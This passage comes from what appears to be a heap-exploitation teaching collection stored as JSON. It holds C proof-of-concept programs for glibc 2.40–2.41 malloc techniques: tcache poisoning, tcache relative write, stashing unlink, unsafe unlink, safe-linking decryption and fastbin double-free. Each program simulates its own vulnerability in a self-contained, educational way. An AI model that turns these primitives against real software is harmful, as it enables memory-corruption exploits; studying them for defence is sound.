0x10\\n\"\n         \"bytes).\\n\",\n         sizeof(struct tcache_metadata));\n  struct tcache_metadata *metadata =\n      (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);\n  printf(\"The tcache metadata is located at %p.\\n\\n\", metadata);\n\n  puts(\"Now we manipulate the metadata struct and insert the target address\\n\"\n       \"in a chunk. Here we choose the second tcache bin.\\n\");\n  metadata->counts[1] = 1;\n  metadata->entries[1] = &stack_target;\n\n  uint64_t *evil = malloc(0x20);\n  printf(\"Lastly we malloc a chunk of size 0x20, which corresponds to the\\n\"\n         \"second tcache bin. The returned pointer is %p.\\n\",\n         evil);\n  assert(evil == &stack_target);\n}\n"
  },
  {
    "path": "glibc_2.40/tcache_poisoning.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple tcache poisoning attack by tricking malloc into\\n\"\n\t\t   \"returning a pointer to an arbitrary location (in this case, the stack).\\n\"\n\t\t   \"The attack is very similar to fastbin corruption attack.\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform tcache poisoning.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\tsize_t stack_var[0x10];\n\tsize_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\n\tprintf(\"The address we want malloc() to return is %p.\\n\", target);\n\n\tprintf(\"Allocating 2 buffers.\\n\");\n\tintptr_t *a = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", a);\n\tintptr_t *b = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", b);\n\n\tprintf(\"Freeing the buffers...\\n\");\n\tfree(a);\n\tfree(b);\n\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, a);\n\tprintf(\"We overwrite the first %lu bytes (fd/next pointer) of the data at %p\\n\"\n\t\t   \"to point to the location to control (%p).\\n\", sizeof(intptr_t), b, target);\n\t// VULNERABILITY\n\t// the following operation assumes the address of b is known, which requires a heap leak\n\tb[0] = (intptr_t)((long)target ^ (long)b >> 12);\n\t// VULNERABILITY\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, target);\n\n\tprintf(\"1st malloc(128): %p\\n\", malloc(128));\n\tprintf(\"Now the tcache list has [ %p ].\\n\", target);\n\n\tintptr_t *c = malloc(128);\n\tprintf(\"2nd malloc(128): %p\\n\", c);\n\tprintf(\"We got the control\\n\");\n\n\tassert((long)target == (long)c);\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.40/tcache_relative_write.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <malloc.h>\n\nint main(void)\n{\n    /*\n     * This document demonstrates TCache relative write technique\n     * Reference: https://d4r30.github.io/heap-exploit/2025/11/25/tcache-relative-write.html\n     *\n     * Objectives: \n     *   - To write a semi-arbitrary (or possibly fully arbitrary) value into an arbitrary location on heap\n     *   - To write the pointer of an attacker-controlled chunk into an arbitrary location on heap.\n     * \n     * Cause: UAF/Overflow\n     * Applicable versions: GLIBC >=2.30\n     *\n     * Prerequisites:\n     * \t - The ability to write a large value (>64) on an arbitrary location\n     * \t - Libc leak\n     * \t - Ability to malloc/free with sizes higher than TCache maximum chunk size (0x408)\n     *\n     * Summary: \n     * The core concept of \"TCache relative writing\" is around the fact that when the allocator is recording \n     * a tcache chunk in `tcache_perthread_struct` (tcache metadata), it does not enforce enough check and \n     * restraint on the computed tcachebin indice (`tc_idx`), thus WHERE the tcachebin count and head \n     * pointer will be written are not restricted by the allocator by any means. The allocator treats extended \n     * bin indices as valid in both `tcache_put` and `tcache_get` scenarios. If we're somehow able to write a \n     * huge value on one of the fields of mp_ (tcache_bins from malloc_par), by requesting \n     * a chunk size higher than TCache range, we can control the place that a **tcachebin pointer** and \n     * **counter** is going to be written. Considering the fact that a `tcache_perthread_struct` is normally \n     * placed on heap, one can perform a *TCache relative write* on an arbitrary point located after the tcache \n     * metadata chunk (Even on `tcache->entries` list to poison tcache metadata). By writing the new freed tcache \n     * chunk's pointer, we can combine this technique with other techniques like tcache poisoning or fastbin corruption \n     * and to trigger a heap leak. By writing the new counter, we can poison `tcache->entries`, write semi-arbitrary decimals\n     * into an arbitrary location of heap, with the right amount of mallocs and frees. With all these combined, one is \n     * able to create impactful chains of exploits, using this technique as their foundation.\n     *\n     * PoC written by D4R30 (Mahdyar Bahrami)\n     *\n    */\n\n    setbuf(stdout, NULL);\n    \n    printf(\"This file demonstrates TCache relative write, a technique used to achieve arbitrary decimal writing and chunk pointer arbitrary write on heap.\\n\");\n    printf(\"The technique takes advantage of the fact that the allocator does not enforce appropriate restraints on the computed tcache indices (tc_idx)\\n\");\n    printf(\"As a prerequisite, we should be capable of writing a large value (anything larger than 64) on an arbitrary location, which in our case is mp_.tcache_bins\\n\\n\");    \n\n    unsigned long *p1 = malloc(0x410);\t// The chunk that we can overflow or have a UAF on\n    unsigned long *p2 = malloc(0x100);\t// The target chunk used to demonstrate chunk overlap\n    size_t p2_orig_size = p2[-1];\n    \n    free(p1);\t// In this PoC, we use p1 simply for a libc leak\n\n    /* VULNERABILITY */\n\n    printf(\"First of all, you need to write a large value on mp_.tcache_bins, to bypass the tcache indice check.\\n\");\n    printf(\"This can be done by techniques that have unsortedbin attack's similar impact, like largebin attack, fastbin_reverse_into_tcache and house_of_mind_fastbins\\n\");\n    \n    // --- Step 1: Write a huge value into mp_.tcache_bins ---\n    // You should have the ability to write a huge value on an arbitrary location; this doesn't necessarily\n    // mean a full arbitrary write. Writing any value larger than 64 would suffice.\n    // This could be done in a program-specific way, or by a UAF/Overflow in target program. By a UAF/Overflow,\n    // you can use techniques like largebin attack, fastbin_reverse_into_tcache and house of mind (fastbins).\n\n    unsigned long *mp_tcache_bins = (void*)p1[0] - 0x938;   // Relative computation of &mp_.tcache_bins\n    printf(\"&mp_.tcache_bins: %p\\n\", mp_tcache_bins);\n\n    *mp_tcache_bins = 0x7fffffffffff;\t// Write a large value into mp_.tcache_bins\n    printf(\"mp_.tcache_bins is now set to a large value. This enables us to pass the only check on tc_idx\\n\\n\");\n\n    // Note: If we're also capable of making mp_.tcache_count a large value along with mp_.tcache_bins, we can\n    // trigger a fully arbitrary decimal writing. In the normal case, with just mp_tcache_bins set to a large value,\n    // what we can write into target is limited to a range of [0,7].  \n    printf(\"If you're also capable of setting mp_.tcache_count to a large value, you can possibly achieve a *fully* arbitrary write.\\n\");\n\n    /* END VULNERABILITY */\n\n    /*\n     * The idea is to craft a precise `tc_idx` such that, when it is used by `tcache_put`, the resulting write of \n     * tcachebin pointer and its counter occurs beyond the bounds of `tcache_perthread_struct` (which is on heap) \n     * and into our target location. This is done by requesting a chunk with the right amount of size and then \n     * freeing it. To compute the right size, we have to consider `csize2tidx` and the pointer arithmetic within \n     * `tcache_put` when it comes to indexing. The only check that can stop us from out-of-bounds writing is the \n     * `tc_idx < mp_.tcache_bins` check, which can get bypassed by writing a large value on `mp_.tcache_bins` (Which \n     * we already did in step 1)   \n    */\n\n    // --- Step 2: Compute the correct chunk size to malloc and then free --- \n    /*\n     * The next step is to acquire the exact chunk size (nb) we should malloc and free to trick tcache_put into \n     * writing the counter or pointer variable on the desired location.\n     * To precisely calculate the size, we first have to understand how a tc_idx (tcache index) is calculated. A tc_idx\n     * is computed by the csize2tidx macro. Here's its defenition:\n    \n      # define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)\n    \n     * If we let `nb` be the internal form of the freeing chunk size, `MALLOC_ALIGNMENT=0x10`, and `MINSIZE=0x20` then:\n     * tc_index = (nb - 0x20 + 0x10 -1) / 0x10 = (nb - 0x11) / 0x10\n     * Because tc_index is an integer: tc_index = (nb-16)/16 - 1\n     * So if `nb = 0x20` (least chunk size), then `tc_index = 0`, if `nb = 0x30`, then `tc_index = 1`, and so on.\n     * With some knowledge of C pointer arithmetic, we can predict the location of the tcachebin pointer & counter \n     * write, just by having `nb` on our hands:\n     \n     * unsigned long *ptr_write_loc = (void*)(&tcache->entries) + 8*tc_index = (void*)(&tcache->entries) + (nb-16)/2 - 8\n     * unsigned long *counter_write_loc = (void*)(&tcache->counts) + 2*tc_index = (void*)(&tcache->counts) + (nb-16)/8 - 2\n    \n     * Note: Here `tcache` is just symbol for a pointer to the heap-allocated `tcache_perthread_struct`\n     * In other words: \n     \n       * Location we want to overwrite with tcache pointer = tcache_entries location + (nb-16)/2 - 8\n       * Location we want to overwrite with the counter = tcache_counts location + (nb-16)/8 - 2\n     \n     * Note: To compute nb, you don't need to have absolute addresses for tcache_perthread_struct and the chosen location;\n     * only the difference between these two locations is required.\n     * So: \n         - For a chunk pointer arbitrary write: nb = 2*(delta+8)+16\n\t - For a counter arbitrary write: nb = 8*(delta+2)+16 \n     \n     * For example, if the tcache structure is allocated at `0x555555559000`, and you want to overwrite a half-word \n     * (`++counts[tc_index]`) at `0x5555555596b8`: \n     * delta = 0x5555555596b8 - (&tcache->counts) = 0x5555555596b8 - 0x555555559010 = 0x6a8\n     * Even if ASLR is on, the delta would always be `0x6a8`. So no heap-leak is required.\n    */\n\n    // --- Step 3: Combine with other techniques to create impactful attack chains ---\n    // In this PoC, we trigger a chunk overlapping and pointer arbitrary write to introduce the two main primitives.\n    //\n    // Note: Overlapping chunk attack & pointer arbitrary write are just two possible use cases here. You can come up with wide \n    // range of other possible attack chains, using tcache relative write as their foundation. It is obvious that you can \n    // write arbitrary decimal values, by requesting and freeing the same chunk multiple times; overlapping chunk attack is\n    // just one simple way to use that. \n\n    // ---------------------------------\n    // | Ex: Trigger chunk overlapping |\n    // ---------------------------------\n    // To see the counter arbitrary write in practice, let's assume that we want to write counter on p2->size and make chunk p2 \n    // a very large chunk, so that it overlaps the next chunks.   \n    // First of all, we need to compute delta, then put it into the formula we discussed to get nb.\n    printf(\"--- Chunk overlapping attack ---\\n\");\n    printf(\"Now, our goal is to make a large overlapping chunk. We already allocated two chunks: p1(%p) and p2(%p)\\n\", p1, p2);\n    printf(\"The goal is to corrupt p2->size to make it an overlapping chunk. The original usable size of p2 is: 0x%lx\\n\", p2_orig_size);\n    printf(\"To trigger tcache relative write in a way that p2->size is corrupted, we need to compute the exact chunk size(nb) to malloc and free\\n\");\n    printf(\"We use this formula: nb = 8*(delta+2)+16\\n\");\n\n    void *tcache_counts = (void*)p1 - 0x290; \t// Get tcache->counts\t\n    unsigned long delta = ((void*)p2 - 6) - tcache_counts;\n\n    // Based on the formula above: nb = 8*(delta+2)+16\n    unsigned long nb = 8*(delta+2)+16;\n\n    // That's it! Now we exactly know what chunk size we should request to trigger counter write on our target\n    unsigned long *p = malloc(nb-0x10);\t\n    \n    // Trigger TCache relative write\n    free(p);\n    \n    // Now lets see if p2's size is changed\n    assert(p2[-1] > p2_orig_size);\n    printf(\"p2->size after tcache relative write is: 0x%lx\\n\\n\", p2[-1]);\n\n    // Now we can free p2 and later recover it with a larger request\n    free(p2);\n    p = malloc(0x10100); \n\n    // Lets see if the new returned pointer equals p2 \n    assert(p == p2);\n\n    // -------------------------------------\n    // | Ex: Chunk pointer arbitrary write |\n    // -------------------------------------\n    // Now to further demonstrate the power of tcache-relative write, lets relative write a freeing chunk\n    // pointer into an arbitrary location. This can be used for tcache poisoning, fastbin corruption,  \n    // House of Lore, etc.\n    printf(\"--- Chunk pointer arbitrary write ---\\n\");\n    printf(\"To demonstrate the chunk pointer arbitrary write capability, our goal is to write a freeing chunk pointer at p2->fd\\n\");\n    printf(\"We use the formula nb = 2*(delta+8)+16\");\n\n    // Compute delta (The difference between &p1->fd and &tcache->entries)\n    void *tcache_entries = (void*)p1 - 0x210;  // Compute &tcache->entries\n    delta = (void*)p1 - tcache_entries;\n\n    // Based on the formulas we discussed above: nb = 2*(delta+8)+16\n    nb = 2*(delta+8)+16; \n\n    printf(\"We should request and free a chunk of size 0x%lx\\n\", nb-0x10);\n    p = malloc(nb-0x10); \n\n    // Trigger tcache relative write (Write freeing pointer into p1->fd)\n    printf(\"Freeing p (%p) to trigger relative write.\\n\", p);\n    free(p);\n\n    assert(p1[0] == (unsigned long)p);\n    printf(\"p1->fd is now set to p, the chunk that we just freed.\\n\");\n\n    // tcache poisoning, fastbin corruption (<2.32 only with tcache relative write), house of lore, etc....\n}\n\n"
  },
  {
    "path": "glibc_2.40/tcache_stashing_unlink_attack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main(){\n    unsigned long stack_var[0x10] = {0};\n    unsigned long *chunk_lis[0x10] = {0};\n    unsigned long *target;\n\n    setbuf(stdout, NULL);\n\n    printf(\"This file demonstrates the stashing unlink attack on tcache.\\n\\n\");\n    printf(\"This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\\n\\n\");\n    printf(\"This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\\n\\n\");\n    printf(\"The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\\n\\n\");\n    printf(\"This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\\n\\n\");\n\n    // stack_var emulate the fake_chunk we want to alloc to\n    printf(\"Stack_var emulates the fake chunk we want to alloc to.\\n\\n\");\n    printf(\"First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\\n\\n\");\n\n    stack_var[3] = (unsigned long)(&stack_var[2]);\n\n    printf(\"You can see the value of fake_chunk->bk is:%p\\n\\n\",(void*)stack_var[3]);\n    printf(\"Also, let's see the initial value of stack_var[4]:%p\\n\\n\",(void*)stack_var[4]);\n    printf(\"Now we alloc 9 chunks with malloc.\\n\\n\");\n\n    //now we malloc 9 chunks\n    for(int i = 0;i < 9;i++){\n        chunk_lis[i] = (unsigned long*)malloc(0x90);\n    }\n\n    //put 7 chunks into tcache\n    printf(\"Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\\n\\n\");\n\n    for(int i = 3;i < 9;i++){\n        free(chunk_lis[i]);\n    }\n\n    printf(\"As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\\n\\n\");\n\n    //last tcache bin\n    free(chunk_lis[1]);\n    //now they are put into unsorted bin\n    free(chunk_lis[0]);\n    free(chunk_lis[2]);\n\n    //convert into small bin\n    printf(\"Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\\n\\n\");\n\n    malloc(0xa0);// size > 0x90\n\n    //now 5 tcache bins\n    printf(\"Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\\n\\n\");\n\n    malloc(0x90);\n    malloc(0x90);\n\n    printf(\"Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\\n\\n\",(void*)stack_var);\n\n    //change victim->bck\n    /*VULNERABILITY*/\n    chunk_lis[2][1] = (unsigned long)stack_var;\n    /*VULNERABILITY*/\n\n    //trigger the attack\n    printf(\"Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\\n\\n\");\n\n    calloc(1,0x90);\n\n    printf(\"Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\\n\\n\",(void*)stack_var[2],(void*)stack_var[4]);\n\n    //malloc and return our fake chunk on stack\n    target = malloc(0x90);   \n\n    printf(\"As you can see, next malloc(0x90) will return the region our fake chunk: %p\\n\",(void*)target);\n\n    assert(target == &stack_var[2]);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.40/unsafe_unlink.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr;\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\tprintf(\"Welcome to unsafe unlink 2.0!\\n\");\n\tprintf(\"Tested in Ubuntu 20.04 64bit.\\n\");\n\tprintf(\"This technique can be used when you have a pointer at a known location to a region you can call unlink on.\\n\");\n\tprintf(\"The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\\n\");\n\n\tint malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin\n\tint header_size = 2;\n\n\tprintf(\"The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\\n\\n\");\n\n\tchunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0\n\tuint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1\n\tprintf(\"The global chunk0_ptr is at %p, pointing to %p\\n\", &chunk0_ptr, chunk0_ptr);\n\tprintf(\"The victim chunk we are going to corrupt is at %p\\n\\n\", chunk1_ptr);\n\n\tprintf(\"We create a fake chunk inside chunk0.\\n\");\n\tprintf(\"We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\\n\");\n\tchunk0_ptr[1] = chunk0_ptr[-1] - 0x10;\n\tprintf(\"We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\\n\");\n\tchunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);\n\tprintf(\"We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\\n\");\n\tprintf(\"With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\\n\");\n\tchunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);\n\tprintf(\"Fake chunk fd: %p\\n\",(void*) chunk0_ptr[2]);\n\tprintf(\"Fake chunk bk: %p\\n\\n\",(void*) chunk0_ptr[3]);\n\n\tprintf(\"We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\\n\");\n\tuint64_t *chunk1_hdr = chunk1_ptr - header_size;\n\tprintf(\"We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\\n\");\n\tprintf(\"It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\\n\");\n\tchunk1_hdr[0] = malloc_size;\n\tprintf(\"If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\\n\",(void*)chunk1_hdr[0]);\n\tprintf(\"We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\\n\\n\");\n\tchunk1_hdr[1] &= ~1;\n\n\tprintf(\"Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\\n\");\n\tprintf(\"You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\\n\\n\");\n\tfree(chunk1_ptr);\n\n\tprintf(\"At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\\n\");\n\tchar victim_string[8];\n\tstrcpy(victim_string,\"Hello!~\");\n\tchunk0_ptr[3] = (uint64_t) victim_string;\n\n\tprintf(\"chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\\n\");\n\tprintf(\"Original value: %s\\n\",victim_string);\n\tchunk0_ptr[0] = 0x4141414142424242LL;\n\tprintf(\"New Value: %s\\n\",victim_string);\n\n\t// sanity check\n\tassert(*(long *)victim_string == 0x4141414142424242L);\n}\n\n"
  },
  {
    "path": "glibc_2.41/decrypt_safe_linking.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nlong decrypt(long cipher)\n{\n\tputs(\"The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,\");\n\tputs(\"because of the 12bit sliding.\");\n\tputs(\"And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)\");\n\tlong key = 0;\n\tlong plain;\n\n\tfor(int i=1; i<6; i++) {\n\t\tint bits = 64-12*i;\n\t\tif(bits < 0) bits = 0;\n\t\tplain = ((cipher ^ key) >> bits) << bits;\n\t\tkey = plain >> 12;\n\t\tprintf(\"round %d:\\n\", i);\n\t\tprintf(\"key:    %#016lx\\n\", key);\n\t\tprintf(\"plain:  %#016lx\\n\", plain);\n\t\tprintf(\"cipher: %#016lx\\n\\n\", cipher);\n\t}\n\treturn plain;\n}\n\nint main()\n{\n\t/*\n\t * This technique demonstrates how to recover the original content from a poisoned\n\t * value because of the safe-linking mechanism.\n\t * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known\n\t * and the key (ASLR slide) is the same to the pointer's leading bits.\n\t * As a result, as long as the chunk where the pointer is stored is at the same page\n\t * of the pointer itself, the value of the pointer can be fully recovered.\n\t * Otherwise, we can also recover the pointer with the page-offset between the storer\n\t * and the pointer. What we demonstrate here is a special case whose page-offset is 0. \n\t * For demonstrations of other more general cases, plz refer to \n\t * https://github.com/n132/Dec-Safe-Linking\n\t */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\t// step 1: allocate chunks\n\tlong *a = malloc(0x20);\n\tlong *b = malloc(0x20);\n\tprintf(\"First, we create chunk a @ %p and chunk b @ %p\\n\", a, b);\n\tmalloc(0x10);\n\tputs(\"And then create a padding chunk to prevent consolidation.\");\n\n\n\t// step 2: free chunks\n\tputs(\"Now free chunk a and then free chunk b.\");\n\tfree(a);\n\tfree(b);\n\tprintf(\"Now the freelist is: [%p -> %p]\\n\", b, a);\n\tprintf(\"Due to safe-linking, the value actually stored at b[0] is: %#lx\\n\", b[0]);\n\n\t// step 3: recover the values\n\tputs(\"Now decrypt the poisoned value\");\n\tlong plaintext = decrypt(b[0]);\n\n\tprintf(\"value: %p\\n\", a);\n\tprintf(\"recovered value: %#lx\\n\", plaintext);\n\tassert(plaintext == (long)a);\n}\n"
  },
  {
    "path": "glibc_2.41/fastbin_dup.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple double-free attack with fastbins.\\n\");\n\n\tprintf(\"Allocate buffers to fill up tcache and prep fastbin.\\n\");\n\tvoid *ptrs[7];\n\n\tfor (int i=0; i<7; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\n\tprintf(\"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1, 8);\n\tint *b = calloc(1, 8);\n\tint *c = calloc(1, 8);\n\tprintf(\"1st malloc(8): %p\\n\", a);\n\tprintf(\"2nd malloc(8): %p\\n\", b);\n\tprintf(\"3rd malloc(8): %p\\n\", c);\n\n\tprintf(\"Fill up tcache.\\n\");\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\tprintf(\"Freeing the first chunk %p...\\n\", a);\n\tfree(a);\n\n\tprintf(\"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\t// free(a);\n\n\tprintf(\"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\tprintf(\"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\t/* VULNERABILITY */\n\tfree(a);\n\t/* VULNERABILITY */\n\n\tprintf(\"In order to use the free list for allocation, we'll need to empty the tcache.\\n\");\n\tprintf(\"This is because since glibc-2.41, we can only reach fastbin by exhausting tcache first.\");\n\tprintf(\"Because of this patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=226e3b0a413673c0d6691a0ae6dd001fe05d21cd\");\n\tfor (int i = 0; i < 7; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\n\tprintf(\"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\\n\", a, b, a, a);\n\tputs(\"Note that since glibc 2.41, malloc and calloc behave the same in terms of the usage of tcache and fastbin, so it doesn't matter whether we use malloc or calloc here.\");\n\ta = malloc(8);\n\tb = calloc(1, 8);\n\tc = calloc(1, 8);\n\tprintf(\"1st malloc(8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tassert(a == c);\n}\n"
  },
  {
    "path": "glibc_2.41/fastbin_dup_consolidate.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8\n\nThis document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a\ndouble free to gain two pointers to the same large-sized chunk, which is usually difficult to do \ndirectly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.\n\nmalloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially\nmerges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top\nif possible.\n\nAs of glibc version 2.35 it is called only in the following five places:\n1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)\n2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)\n3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)\n4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)\n5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)\n\nWe will be targeting the first place, so we will need to allocate a chunk that does not belong in the \nsmall bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). \nThis means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the \nbiggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize \na double free to gain control of a tcache sized chunk.   \n*/\n\n#define CHUNK_SIZE 0x400\n\nint main() {\n\tprintf(\"This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\\n\");\n\tprintf(\"Lets prepare to fill up the tcache in order to force fastbin usage...\\n\\n\");\n\n\tvoid *ptr[7];\n\n\tfor(int i = 0; i < 7; i++)\n\t\tptr[i] = malloc(0x40);\n\n\tvoid* p1 = malloc(0x40);\n\tprintf(\"Allocate another chunk of the same size p1=%p \\n\", p1);\n\n\tprintf(\"Fill up the tcache...\\n\");\n\tfor(int i = 0; i < 7; i++)\n\t\tfree(ptr[i]);\n\n  \tprintf(\"Now freeing p1 will add it to the fastbin.\\n\\n\");\n  \tfree(p1);\n\n\tprintf(\"To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\\n\");\n\tprintf(\"which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\\n\");\n\tprintf(\"a tcache-sized chunk with chunk size 0x410 \");\n  \tvoid* p2 = malloc(CHUNK_SIZE);\n\n\tprintf(\"p2=%p.\\n\", p2);\n\n\tprintf(\"\\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\\n\");\n\tprintf(\"Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\\n\");\n\n\tassert(p1 == p2);\n\n  \tprintf(\"We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\\n\\n\");\n\tfree(p1); // vulnerability (double free)\n\tprintf(\"It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\\n\");\n\n\tprintf(\"So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\\n\");\n\n\tprintf(\"We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\\n\");\n\tprintf(\"the tcache bin. p2 and p1 will still be pointing to it.\\n\");\n\tvoid *p3 = malloc(CHUNK_SIZE);\n\n\tassert(p3 == p2);\n\n\tprintf(\"We now have two pointers (p2 and p3) that haven't been directly freed\\n\");\n\tprintf(\"and both point to the same tcache sized chunk. p2=%p p3=%p\\n\", p2, p3);\n\tprintf(\"We have achieved duplication!\\n\\n\");\n\n\tprintf(\"Note: This duplication would have also worked with a larger chunk size, the chunks would\\n\");\n\tprintf(\"have behaved the same, just being taken from the top instead of from the tcache bin.\\n\");\n\tprintf(\"This is pretty cool because it is usually difficult to duplicate large sized chunks\\n\");\n\tprintf(\"because they are resistant to direct double free's due to their PREV_INUSE check.\\n\");\n\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.41/fastbin_dup_into_stack.c",
